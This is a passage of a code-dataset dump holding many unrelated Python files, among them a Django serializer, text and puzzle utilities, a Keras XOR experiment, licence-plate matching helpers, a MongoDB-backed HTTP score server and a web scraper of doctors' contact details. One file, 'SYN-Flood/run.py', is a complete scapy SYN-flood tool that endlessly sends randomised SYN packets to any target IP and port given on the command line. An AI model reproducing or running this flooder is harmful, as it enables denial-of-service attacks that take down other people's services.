questions_with_ids[q.id]['typed_content']\n q.save()\n # TODO Type\n\n # Абсолютно новые вопросы\n new_questions = [\n q for q in validated_data['questions'] if not 'id' in q\n ]\n\n for question in new_questions:\n models.Question.objects.create(\n event=instance,\n type=question['type'],\n typed_content=question['typed_content'])\n\n return instance\n","sub_path":"tsanta/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":10169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"172067937","text":"import os\nimport string\nimport operator\nfrom collections import Counter\nfrom pprint import pprint\n\n\ndef load_data(filepath):\n if not os.path.exists(filepath):\n return None\n with open(filepath,'r') as f:\n return f.read()\n\n\ndef get_most_frequent_words(text):\n words = [word.strip(string.punctuation).lower() for word in text.split() if word.strip(string.punctuation)]\n counts = Counter(words)\n return sorted(counts.items(), key=operator.itemgetter(1), reverse=True)[:10]\n\nif __name__ == '__main__':\n filepath = input('Type full path to file:\\n')\n text = load_data(filepath)\n if text:\n pprint(get_most_frequent_words(text))\n else:\n print('File not found')\n","sub_path":"lang_frequency.py","file_name":"lang_frequency.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"327550327","text":"def define_property(self, name, value=None, readable=True, writable=True):\n # \"_User__name\" のような name mangling 後の名前.\n field_name = \"_{}__{}\".format(self.__class__.__name__, name)\n\n # 初期値を設定する.\n setattr(self, field_name, value)\n\n # getter/setter を生成し, プロパティを定義する.\n getter = (lambda self: getattr(self, field_name)) if readable else None\n setter = (lambda self, value: setattr(\n self, field_name, value)) if writable else None\n setattr(self.__class__, name, property(getter, setter))\n","sub_path":"Blavo/define_property.py","file_name":"define_property.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"638203529","text":"# Have the function VowelSquare(strArr) take the strArr parameter being passed which \n# will be a 2D matrix of some arbitrary size filled with letters from the alphabet \n# and determine if a 2x2 square composed entirely of vowels exists in the matrix. For \n# example: strArr is [\"abcd\", \"eikr\", \"oufj\"] then this matrix looks like the following:\n# a b c d\n# e i k r\n# o u f j\n# Within this matrix there is a 2x2 square of vowels starting in the second row and first \n# column, namely, ei, ou. If a 2x2 square of vowels is found your program should return \n# the top-left position (row-column) of the square, so for this example your program should\n# return 1-0. If no 2x2 square of vowels exists, then return the string not found. If there \n# are multiple squares of vowels, return the one that is at the most top-left position in \n# the whole matrix. The input matrix will at least be of size 2x2.\n\ndef vowel_square(strArr): \n for r in range(len(strArr) - 1):\n for c in range(len(strArr[r]) - 1):\n if strArr[r][c] in 'aeiou':\n if strArr[r][c+1] not in 'aeiou':\n continue\n if strArr[r+1][c] not in 'aeiou':\n continue\n if strArr[r+1][c+1] not in 'aeiou':\n continue\n else:\n return str(r) + '-' + str(c)\n \n return 'not found'\n \nif __name__ == \"__main__\":\n strArr1 = [\"abcd\", \"eikr\", \"oufj\"]\n strArr2 = [\"aqrst\", \"ukaei\", \"ffooo\"]\n print(vowel_square(strArr1))\n print(vowel_square(strArr2))","sub_path":"easy/vowel_square.py","file_name":"vowel_square.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"641658134","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom main import *\nfrom upimport import *\n\ndef run(dirnames=[]):\n path = main.__file__\n kwargs = upimport(path,packages=False)\n globals().update(kwargs)\n commit = globals().get(\"commit\",False)\n echo = globals().get(\"echo\",True)\n name = globals().get(\"name\",None)\n url = globals().get(\"url\",None)\n move = globals().get(\"move\",False)\n if not name:\n err = \"config.name is undefined\"\n raise NotImplementedError(err)\n if not url:\n err = \"config.url is undefined\"\n raise NotImplementedError(err)\n repos = map(GitRepo,dirnames)\n total = len(repos)\n added = errors = 0\n print(\"%s\\n\" % \" \".join([\"git\",\"submodule\",\"add\",\"-f\",url]))\n start()\n for i,repo in enumerate(repos,1):\n try:\n if repo.remote(url):\n # ignore self\n continue\n cwd = unicode(repo.fullpath)\n gitfix(cwd)\n title = \"%s/%s %s\" % (i,total,repo.basename)\n print(title.encode(\"utf-8\"))\n submodules = repo.submodules\n add(cwd,\n url=url,\n path=name,\n move=move,\n commit=commit,\n echo=echo\n )\n if submodules!=repo.submodules:\n added+=1\n except KeyboardInterrupt:\n exit(0)\n except:\n errors+=1\n print(format_exc())\n if added or errors:\n lines = []\n if added:\n lines.append(\"+%s submodules\" % added)\n if errors:\n lines.append(\"%s errors\" % errors)\n message = \"\\n\".join(lines)\n print(\"\\n\\n\")\n print(message)\n title = \"git submodule add\"\n message+=\"\\n [Finished in %ss]\" % t()\n if total>2:\n gitnotify(title,message,sticky=True)\n\n","sub_path":"gitsm # submodule/add/include.py","file_name":"include.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"18506631","text":"from keras.layers import Dense, Activation\nfrom keras.models import Sequential\nfrom keras import optimizers, initializers\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nK = 25000 #Constant K (to calculate epochs)\nlr = 0.1 #Learning rate\naf = 'sigmoid' #Activation function\n\nnoisy = True #Set to false to train and validate on non-noisy data\n\nif noisy:\n noise = 0.25 #Variance (sigma squared)\nelse:\n noise = 0\n\n\ndef add_error(bit, noise): #Function to deal with both the noisy and non-noisy cases\n if noisy:\n return np.random.normal(bit, noise)\n else:\n return bit\n\nlosses = {}\n\nfor N in [64]: #Iterate the 3 different input pattern settings\n f1, axarr1 = plt.subplots(1, 3, sharey = True)\n f2, axarr2 = plt.subplots(1, 3, sharey = True)\n y_fig = 0\n for M in [2, 4, 8]: #Iterate the 3 different hidden neuron settings\n X = []\n print(noise)\n for i in range(int(N / 4)): #Adding the noise to the inputs (variance 0.5)\n X.append([add_error(0, noise), add_error(0, noise)])\n X.append([add_error(0, noise), add_error(1, noise)])\n X.append([add_error(1, noise), add_error(0, noise)])\n X.append([add_error(1, noise), add_error(1, noise)])\n\n X = np.array(X).reshape([N, 2]) #Reshaping\n y = np.array([0, 1, 1, 0] * int(N / 4))\n\n #MLP starts here\n model = Sequential()\n\n model.add(Dense(units = M, #Hidden Layer\n bias_initializer = initializers.Constant(value = -1), \n kernel_initializer = 'random_uniform', \n input_shape = (2, ), \n activation = af))\n\n model.add(Dense(units = 1, #Output Layer\n bias_initializer = initializers.Constant(value = -1),\n kernel_initializer = 'random_uniform', \n ))\n\n model.compile(loss = 'mse', \n optimizer = optimizers.SGD(lr = lr))\n\n X_test = []\n\n for i in range(16): #Noisy test input (16 * 4 = 64 input patterns)\n X_test.append([add_error(0, noise), add_error(0, noise)])\n X_test.append([add_error(0, noise), add_error(1, noise)])\n X_test.append([add_error(1, noise), add_error(0, noise)])\n X_test.append([add_error(1, noise), add_error(1, noise)])\n X_test = np.array(X_test).reshape([64, 2])\n print(X_test[0], X[0])\n y_test = np.array([0, 1, 1, 0] * 16) #Desired (actual) outputs\n\n val = (X_test, y_test)\n\n history = model.fit(X, \n y, \n shuffle = False, \n batch_size = 1, \n epochs = int(K / N),\n validation_data = val,\n )\n x_coord = 0\n grid = np.empty([21, 21]) #Unit square\n for i in np.linspace(0, 1, 21):\n y_coord = 0\n for j in np.linspace(0, 1, 21):\n current_test = np.asarray([[i, j]])\n grid[x_coord, y_coord] = model.predict(current_test, batch_size = 1)\n y_coord += 1\n x_coord += 1\n\n losses[str(N) + 'inputs_' + str(M) + 'neurons'] = model.evaluate(X_test, y_test, batch_size = 1)\n\n axarr1[y_fig].imshow(grid, cmap = 'Greys_r', origin = 'lower', extent = (0, 1, 0, 1))\n axarr1[y_fig].set_title(str(M) + ' hidden neurons')\n\n axarr1[y_fig].set(xlabel = 'Input 1', ylabel = 'Input 2')\n\n axarr2[y_fig].plot(history.history['loss'])\n axarr2[y_fig].set_title(str(M) + ' hidden neurons')\n axarr2[y_fig].set(xlabel = 'Epoch', ylabel = 'Loss')\n\n y_fig += 1\n plt.show()\n","sub_path":"assignment_keras.py","file_name":"assignment_keras.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"344335948","text":"import pandas as pd\nimport numpy as np\nimport datetime\nfrom datetime import datetime, timezone, timedelta\nfrom cassandra.cluster import Cluster\n\ndef file_to_df(filename):\n\n if \".csv\" in filename:\n df_file = pd.read_csv(filename,sep=\";\")\n patentes = df_file[\"Patente\"].values.tolist()\n fecha_format = [ fecha.split(\" \")[0]+'T'+fecha.split(\" \")[1] for fecha in df_file[\"Fecha\"].values.tolist() ]\n data = {'Patente':patentes, 'Fecha': fecha_format}\n df = pd.DataFrame(data).sort_values('Fecha')\n df.drop_duplicates(subset = ['Patente','Fecha'],keep='first',inplace=True)\n if \".log\" in filename:\n f = open(filename,\"r\")\n data_patentes = []\n data_fecha = []\n for i,line in enumerate(f.readlines()):\n if i == 0:\n line_split = line.split(\"/\")\n fecha = line_split[2][0:4]+'-'+line_split[1]+'-'+line_split[0]\n if i > 1:\n line_split = line.split(\";\")\n patente = line_split[4].split(\"=\")[1]\n data_patentes.append(patente.strip())\n hour_read = line_split[1].split(\"=\")[1].split(':')\n hora = hour_read[0][1:]+':'+hour_read[1]+':'+hour_read[2]\n fecha_format = fecha+'T'+hora\n data_fecha.append(fecha_format)\n f.close()\n data = {'Patente':data_patentes, 'Fecha': data_fecha}\n df = pd.DataFrame(data, columns = [\"Patente\",\"Fecha\"])\n df.drop_duplicates(subset = 'Fecha',keep='first',inplace=True)\n return df\n\ndef str_to_datetime(fecha):\n \n return np.datetime64(fecha, dtype='M8[s]')\n\ndef get_pat_excl_dict(df,thr):\n fechas = df['Fecha'].values.tolist()\n patentes = df['Patente'].values.tolist()\n dict_ = {}\n for i,patente in enumerate(patentes):\n if patente not in dict_.keys():\n dict_[patente] =[fechas[i]]\n else:\n values = dict_[patente]\n values.append(fechas[i])\n dict_[patente] = values\n dict_excl = {}\n thr = thr*60\n for key, values in dict_.items():\n thr = np.timedelta64(thr,'s')\n i = 0\n j = 1\n excluir = []\n if len(values) > 1:\n while j < len(values):\n if (str_to_datetime(values[j]) - str_to_datetime(values[i])) < thr : \n excluir.append(values[j])\n j += 1\n else:\n i = j\n j += 1\n if len(excluir)!=0:\n dict_excl[key] = excluir\n return dict_excl\n\ndef filtrar_patentes(df,thr):\n\n pat_exclude_dict = get_pat_excl_dict(df,thr)\n patentes = df['Patente'].values.tolist()\n fecha = df['Fecha'].values.tolist()\n \n patentes_filtradas = []\n fecha_filtrada = []\n\n for i,pat in enumerate(patentes):\n\n if pat in pat_exclude_dict.keys():\n if str(fecha[i]) not in pat_exclude_dict[pat]:\n \n patentes_filtradas.append(pat)\n fecha_filtrada.append(str(fecha[i])) \n else:\n patentes_filtradas.append(pat)\n fecha_filtrada.append(str(fecha[i]))\n \n data = list(zip(patentes_filtradas,fecha_filtrada))\n df_filtrado = pd.DataFrame(data,columns = [\"Patente\",\"Fecha\"])\n return df_filtrado\n\n\ndef count_OinD(comb):\n \"\"\"\n Función que cuenta las ocurrencias de cada patente del orígen en el destino\n :param comb: - combinacion de dos archivos\n :return n: - numero de ocurrencias\n \"\"\"\n n = 0\n O_df = comb[0]\n D_df = comb[1]\n for pat in O_df['Patente'].values.tolist():\n if pat in D_df['Patente'].values.tolist():\n n += 1\n return n\n\n\ndef get_OD_df(files_O, files_D, verbose=False):\n \"\"\"\n Función que recibe el par de archivos de orígen y destino, y devuelve los dataframes de orígen y destino en el\n sentido que corresponde.\n :param files_O: - par de archivos del origen\n :param files_D: - par de archivos del destino\n :param verbose: - default False - opcion de que se imprima la combinacion correcta con el numero de ocurrencias\n :return O_df, D_df:\n \"\"\"\n origen_1 = file_to_df(files_O[0])\n origen_2 = file_to_df(files_O[1])\n destino_1 = file_to_df(files_D[0])\n destino_2 = file_to_df(files_D[1])\n\n O1_df = filtrar_patentes(origen_1, 3)\n O2_df = filtrar_patentes(origen_2, 3)\n D1_df = filtrar_patentes(destino_1, 3)\n D2_df = filtrar_patentes(destino_2, 3)\n\n comb = [[O1_df, D1_df], [O1_df, D2_df], [O2_df, D1_df], [O2_df, D2_df]]\n data_str = ['O1 a D1', 'O1 a D2', 'O2 a D1', 'O2 a D2']\n\n result = []\n for i, data in enumerate(comb):\n n = count_OinD(data)\n result.append(n)\n\n best_ind = result.index(max(result))\n if verbose:\n print('El sentido correcto es {} con {} registros'.format(data_str[best_ind], result[best_ind]))\n\n return comb[best_ind][0], comb[best_ind][1]\n\ndef get_OD_dict(O_df, D_df):\n \"\"\"\n Funcion que obtiene los diccionarios a partir de los dataframes de origen y destino.\n :param O_df: - pandas dataframe del origen\n :param D_df: -pandas dataframe del destino\n :return O_dict, D_dict: - diccionarios para el origen y destino con key = Patente y value = tiempo de captura\n \"\"\"\n pat_origen = O_df['Patente'].values.tolist()\n pat_destino = D_df['Patente'].values.tolist()\n\n O_dict = {}\n D_dict = {}\n for pat in pat_destino:\n if pat in pat_origen:\n t_origen = [str(O_df['Fecha'].values.tolist()[i]) for i, pat_or in enumerate(pat_origen) if pat_or == pat]\n t_dest = [str(D_df['Fecha'].values.tolist()[i]) for i, pat_dest in enumerate(pat_destino) if pat_dest == pat]\n\n O_dict[pat] = t_origen\n D_dict[pat] = t_dest\n return O_dict, D_dict\n\n\ndef make_query(source, date):\n UTC_OFFSET = 3\n h_0 = datetime.strptime(date + \" 00:00:00\", \"%Y-%m-%d %H:%M:%S\")\n h_1 = datetime.strptime(date + \" 23:59:59\", \"%Y-%m-%d %H:%M:%S\")\n h_0_conv = (h_0 + timedelta(hours=UTC_OFFSET)).strftime(\"%Y-%m-%d %H:%M:%S\")\n h_1_conv = (h_1 + timedelta(hours=UTC_OFFSET)).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n select = \"SELECT timestamp,plate FROM captures \"\n where = \"WHERE source_id =\" + \"'\" + source + \"'\" + \" AND \" + \"timestamp >= \" + \"'\" + h_0_conv + \"+0000' AND \" + \"timestamp <= \" + \"'\" + h_1_conv + \"+0000' ALLOW FILTERING\"\n\n query = select + where\n\n return query\n\ndef utc_to_local(utc_dt):\n return utc_dt.replace(tzinfo=timezone.utc).astimezone(tz=None)\n\n\n","sub_path":"helper/lectura_archivos.py","file_name":"lectura_archivos.py","file_ext":"py","file_size_in_byte":6515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"604770820","text":"# encoding=utf-8\n\"\"\"\nCreated on 2016-1-4\n@author: LZM\n\"\"\"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport io,shutil\nimport socketserver\nimport json\nimport urllib\nfrom pymongo import MongoClient\n\n\nclass MyThreadingHTTPServer(socketserver.ThreadingMixIn, HTTPServer):\n pass\n\n\nclass MyRequestHandler(BaseHTTPRequestHandler):\n\n def do_GET(self):\n self.process(2)\n\n def do_POST(self):\n self.process(1)\n\n def process(self, type):\n\n content =\"\"\n if type==1:\n datas = self.rfile.read(int(self.headers['content-length']))\n datas = str(datas, \"utf-8\")\n datas = urllib.parse.unquote(datas)\n print(datas)\n\n dict = json.loads(datas)\n print(dict)\n\n for key,val in dict.items():\n content+=(\"{} = {}\\r\\n\".format(key, val))\n print(content)\n\n client = MongoClient()\n db = client.gamerank\n coll = db.rank\n coll.update_one(\n {\"name\": dict[\"name\"]},\n {\n \"$set\": {\n \"score\": dict[\"score\"]\n }\n },\n True\n )\n\n if '?' in self.path:\n\n print(self.path)\n query = urllib.parse.unquote(self.path.split('?',1)[1])\n dict = urllib.parse.parse_qs(query)\n print(query)\n # action = query[0]\n\n for key,val in dict.items():\n content+=(\"{} = {}\\r\\n\".format(key, val[0]))\n\n #指定返回编码\n enc=\"UTF-8\"\n content = content.encode(enc)\n f = io.BytesIO()\n f.write(content)\n f.seek(0)\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html; charset=%s\" % enc)\n self.send_header(\"Content-Length\", str(len(content)))\n self.end_headers()\n shutil.copyfileobj(f,self.wfile)\n print(self.headers )\n print(content)\n\n # else:\n # self.send_response(200)\n # self.send_header('Content-type', 'text/html')\n # self.end_headers()\n # self.wfile.write(\"nothing\")\n\n\ndef transDicts(params):\n dicts={}\n if len(params)==0:\n return\n params = params.split('&')\n for param in params:\n dicts[param.split('=')[0]]=param.split('=')[1]\n return dicts\n\nif __name__=='__main__':\n\n try:\n server = MyThreadingHTTPServer(('', 8000), MyRequestHandler)\n print('started httpserver...')\n server.serve_forever()\n\n except KeyboardInterrupt:\n server.socket.close()\n\n pass\n","sub_path":"gamerank/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"276036586","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 05 17:39:13 2016\n\n@author: xzk\n\"\"\"\n\nclass Solution(object):\n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if len(prices) <= 1:\n return 0\n leng = len(prices)\n max_val = [prices[leng - 1]] * leng\n min_val = [prices[0]] * leng\n for i in xrange(1, leng):\n min_val[i] = min(prices[i], min_val[i - 1])\n max_val[leng - 1 - i] = max(prices[leng - i], max_val[leng - i])\n max_profit = 0\n for i in xrange(leng):\n if max_val[i] - min_val[i] > max_profit:\n max_profit = max_val[i] - min_val[i]\n return max_profit\n \n def maxProfit2(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if len(prices) <= 1:\n return 0\n max_price = prices[0]\n min_price = prices[0]\n max_profit = 0\n for price in prices[1:]:\n if price < min_price:\n min_price = price\n max_price = price\n if price > max_price:\n max_price = price\n if max_price - min_price > max_profit:\n max_profit = max_price - min_price\n return max_profit\n \n def maxProfit(self, prices):\n \"\"\"\n :type prices: List[int]\n :rtype: int\n \"\"\"\n if len(prices) <= 1:\n return 0\n profit = 0\n min_price = prices[0]\n for price in prices[1:]:\n min_price = min(min_price, price)\n profit_i = price - min_price\n profit = max(profit, profit_i)\n return profit","sub_path":"121Best Time to Buy and Sell Stock.py","file_name":"121Best Time to Buy and Sell Stock.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"541972236","text":"\"\"\"\n小易为了向他的父母表现他已经长大独立了,他决定搬出去自己居住一段时间。\n一个人生活增加了许多花费: 小易每天必须吃一个水果并且需要每天支付x元的房屋租金。\n当前小易手中已经有f个水果和d元钱,小易也能去商店购买一些水果,商店每个水果售卖p元。\n小易为了表现他独立生活的能力,希望能独立生活的时间越长越好,小易希望你来帮他计算一下他最多能独立生活多少天。\n\"\"\"\nlst = list(map(int, input().split()))\nx = lst[0]\nf = lst[1]\nd = lst[2]\np = lst[3]\nif d / x >= f:\n d_left = d - x * f\n day = d_left // (x + p) + f\n print(day)\nelse:\n print(d//x)","sub_path":"nowcoder/v0513.py","file_name":"v0513.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"135070995","text":"from examples import *\n\ndef main():\n\n checkpoint = SaveModel.load()\n\n dataset_info, dataset_train, dataset_test = build_dataset()\n train_loader, test_loader = build_dataloader(\n dataset_train, dataset_test\n )\n print(\"dataset_info\", dataset_info)\n\n info = argparse.Namespace()\n\n if args.sigprop:\n input_ch = None\n\n sp_manager = sigprop.managers.Preset(\n sigprop.models.Forward,\n sigprop.propagators.Loss,\n sigprop.propagators.signals.Loss,\n build_optimizer\n )\n input_shape = (dataset_info.num_classes,)\n input_ch = 128\n output_shape = (input_ch, dataset_info.input_dim, dataset_info.input_dim)\n sp_signal = sigprop.signals.ProjectionContextInput(\n *signal_modules_lpi(input_shape, output_shape),\n input_shape, output_shape\n )\n sp_signal = nn.Sequential(\n sigprop.signals.LabelNumberToOnehot(\n dataset_info.num_classes\n ),\n sp_signal\n )\n sp_manager.config_propagator(\n loss=sigprop.loss.v14_input_target_max_rand\n )\n sp_manager.set_signal(\n sp_signal,\n loss=sigprop.loss.v14_input_target_max_rand\n )\n\n runner = RunnerSigprop(monitor_main)\n\n else:\n sp_manager = None\n input_ch = None\n\n runner = Runner()\n\n model = build_model(dataset_info, sp_manager, input_ch)\n\n model = ModelWrapper(model, dataset_info)\n\n if checkpoint is not None:\n model.load_state_dict(checkpoint['state_dict'])\n #optimizer.load_state_dict(checkpoint['optimizer'])\n\n pprint(vars(args))\n print(model)\n print('[Global Loss] Model {} has {} parameters'.format(args.model, count_parameters(model)))\n print(\"cuda\", args.cuda)\n\n runner.train(\n model,\n dataset_info.num_classes,\n train_loader, test_loader,\n info\n )\n\nmain()\n\n","sub_path":"examples/ex2_input_target_max_rand.py","file_name":"ex2_input_target_max_rand.py","file_ext":"py","file_size_in_byte":1960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"96167545","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_two_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/apigatewayv2/delete-api-mapping.html\nif __name__ == '__main__':\n \"\"\"\n\tcreate-api-mapping : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/apigatewayv2/create-api-mapping.html\n\tget-api-mapping : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/apigatewayv2/get-api-mapping.html\n\tget-api-mappings : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/apigatewayv2/get-api-mappings.html\n\tupdate-api-mapping : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/apigatewayv2/update-api-mapping.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # api-mapping-id : The API mapping identifier.\n # domain-name : The domain name.\n \"\"\"\n add_option_dict = {}\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_two_parameter(\"apigatewayv2\", \"delete-api-mapping\", \"api-mapping-id\", \"domain-name\", add_option_dict)\n","sub_path":"apigatewayv2_write_2/api-mapping_delete.py","file_name":"api-mapping_delete.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"326831572","text":"import asyncio\nfrom dfuble import Update\n\nTEST_ADDRESS_B = 'D4:D2:34:E3:BC:C6'\nTEST_ADDRESS = 'D4:D2:34:E3:BC:C5'\n\nasync def update_firmware():\n u = Update(TEST_ADDRESS, TEST_ADDRESS_B, 'app_dfu_package.zip')\n await u.update_firmware_sequence()\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(update_firmware())","sub_path":"examples/update_firmware.py","file_name":"update_firmware.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"383089158","text":"#! /usr/bin/env python3\n\nimport SaDoctors\nimport re, bs4\nimport openpyxl\n\ndoctor = SaDoctors.ScrapeWeb()\nName_tag = 'h1'\nNumber_tag = 'a'\nSpeciality_tag = '.breadcrumb'\nNumber_re = re.compile(r'(\\d+\\s*)+')\nNumbers_found = ''\nPrac_details = []\n\nemail_list = open(\"DoctorsAPPPracttitioners.txt\", \"a\")\nwb = openpyxl.Workbook()\nemail_list.write('I hope this helps.\\n\\n')\nsheet = wb.get_sheet_by_name('Sheet')\nsheet['A1'] = 'Name'\nsheet['B1'] = 'Number'\nsheet['c1'] = 'Area + Speciality'\n\n\n\nfor k in range(1,69697,100):\n for i in range(k,k + 101):\n url = 'https://www.sadoctorsapp.co.za/Practitioner/' + str(i)\n Practition_page = doctor.getPage(url)\n doctor.setPageList(Practition_page, Name_tag)\n Name_List = doctor.getPageList()\n doctor.setPageList(Practition_page, Number_tag)\n Number_List = doctor.getPageList()\n doctor.setPageList(Practition_page, Speciality_tag)\n Speciality_List = doctor.getPageList()\n\n for j in Number_List:\n Numbers_ha = Number_re.search(str(j))\n if Numbers_ha != None:\n if len(Numbers_ha.group()) >= 10:\n Numbers_found = Numbers_ha.group()\n \n if Speciality_List != [] and Name_List != [] and Numbers_found != 0:\n Prac_details.append('Name: ' + Name_List[0].getText() + '\\n' + 'Number: ' + Numbers_found + '\\n' +\n 'Speciality: ' + Speciality_List[0].getText()[13:-1] + '\\n')\n sheet['A'+ str(i+1)] = Name_List[0].getText()\n sheet['B'+ str(i+1)] = Numbers_found \n sheet['C'+ str(i+1)] = Speciality_List[0].getText()[13:-1]\n\n print(Name_List[0].getText())\n print(Numbers_found)\n print(Speciality_List[0].getText()[13:-1])\n\n #for i in Prac_details:\n #print(i + '\\n')\n #email_list.write(i + '\\n')\n\n wb.save('SADoctersSpreadsheet.xlsx')\n\nemail_list.close()","sub_path":"python/DoctorScrape/BetterDoc.py","file_name":"BetterDoc.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"233290428","text":"from scapy.all import *\r\nimport socket,sys,time,random,argparse\r\n\r\ndef randInt():\r\n x = random.randint(1,65535)\r\n return x\r\n\r\ndef sendPacket(target,port):\r\n sport = randInt()\r\n seq = randInt()\r\n window = randInt()\r\n\r\n IP_PACKET = IP()\r\n IP_PACKET.dst = target\r\n\r\n TCP_PACKET = TCP()\r\n TCP_PACKET.sport = sport # SOURCE PORT\r\n TCP_PACKET.dport = int(port) # DESTINATION PORT\r\n TCP_PACKET.flags = \"S\" # SYN\r\n TCP_PACKET.seq = seq\r\n TCP_PACKET.window = window\r\n\r\n try:\r\n send(IP_PACKET/TCP_PACKET)\r\n except:\r\n pass\r\n\r\ndef attack(target,port):\r\n while True:\r\n sendPacket(target,port)\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(description=\"SYN Flooder Script\")\r\n parser.add_argument('-t','--target',help=\"IP of target\", type=str, metavar=\"<ip>\")\r\n parser.add_argument('-p','--port',help=\"Port to attack\", type=int, metavar=\"<port>\", default=80)\r\n arguments = parser.parse_args()\r\n if arguments.target is None:\r\n sys.exit(parser.print_help())\r\n attack(arguments.target,arguments.port)","sub_path":"SYN-Flood/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"161532129","text":"#coding=utf-8\nclass Solution(object):\n def containsNearbyAlmostDuplicateON2(self, nums, k, t):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :type t: int\n :rtype: bool\n \"\"\"\n for i in range(len(nums)):\n for j in range(len(nums)):\n if abs(nums[j] - nums[i]) <= t and j - i <= k:\n return True\n return False\n\n def containsNearbyAlmostDuplicate(self, nums, k, t):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :type t: int\n :rtype: bool\n \"\"\"\n # 总得思路就是:“滑动窗口”+unordered_map。\n #   推理过程如下:\n #   |numsi−numsj|≤t⇒|numsi/t−numsj/t|≤1;\n #   由上式可以推出:|⌊numsi/t⌋−⌊numsj/t⌋|≤1\n #   等价于:⌊numsi/t⌋∈{⌊numsj/t⌋,⌊numsj/t⌋−1,⌊numsj/t⌋+1}。\n #   \n # 我们只需要维持一个大小为K的窗口,键值为⌊numsi/t⌋, 值为numsi。\n # 然后循环遍历nums[]数组,与unordered_ map中键集对应的值进行差得绝对值运算,再判断即可。\n #   对于STL中关于unordered_map的相关可参考官方References 对unordered_map讲解。\n #\n # 注意:unordered_map是一种特殊的hash map,它不按照键值进行排序。\n # 通过hash表的算法,查找效率为O(1)。但会消耗一定内存。进行差值运算时需转换为long类型,否则会溢出。\n if k < 1 or t < 0: return False\n dic = {}\n for i in range(len(nums)):\n key = nums[i] / max(1, t)\n if key in dic and abs(nums[i]-dic[key]) <= t:\n return True\n if key - 1 in dic and abs(nums[i]-dic[key-1]) <= t:\n return True\n if key + 1 in dic and abs(nums[i]-dic[key+1]) <= t:\n return True\n dic[key] = nums[i]\n\n if len(dic) == k+1: # i - k >= 0\n del dic[nums[i-k]/max(1,t)]\n return False\n\n\n","sub_path":"LeetCode/Contains Duplicate III.py","file_name":"Contains Duplicate III.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"31260515","text":"import numpy as np\nimport tensorflow as tf\nimport tensorlayer as tl\n\nfrom sc2_util import wrap\nfrom sc2_util import FLAGS, flags\nimport teacher\nimport config_q\nfrom absl import flags ,app\n\nscr_pixels = 64\nscr_num = 3\nscope = 'learner'\nregular = 0.05\nlr = 1e-3\ntimes_per_epoch = 100\nepoches = 100\nclass learner:\n def __init__(self,scope,config,sess):\n self.config = config\n self.scope = scope\n with tf.variable_scope(scope) as scope:\n self.s = tf.placeholder(tf.float32,[None,scr_pixels,scr_pixels,scr_num],\"state\")\n self.action_16 = tf.placeholder(tf.float32,[None,scr_pixels*scr_pixels/16],\"action_16\")\n self.action_32 = tf.placeholder(tf.float32, [None, scr_pixels * scr_pixels / 4], \"action_32\")\n self.action_64 = tf.placeholder(tf.float32, [None, scr_pixels * scr_pixels ], \"action_32\")\n self.optimizer = tf.train.RMSPropOptimizer(lr, name='RMSProp')\n self._build_net()\n self.sess = sess\n tl.layers.initialize_global_variables(self.sess)\n\n\n\n\n def _build_net(self):\n regularizer = 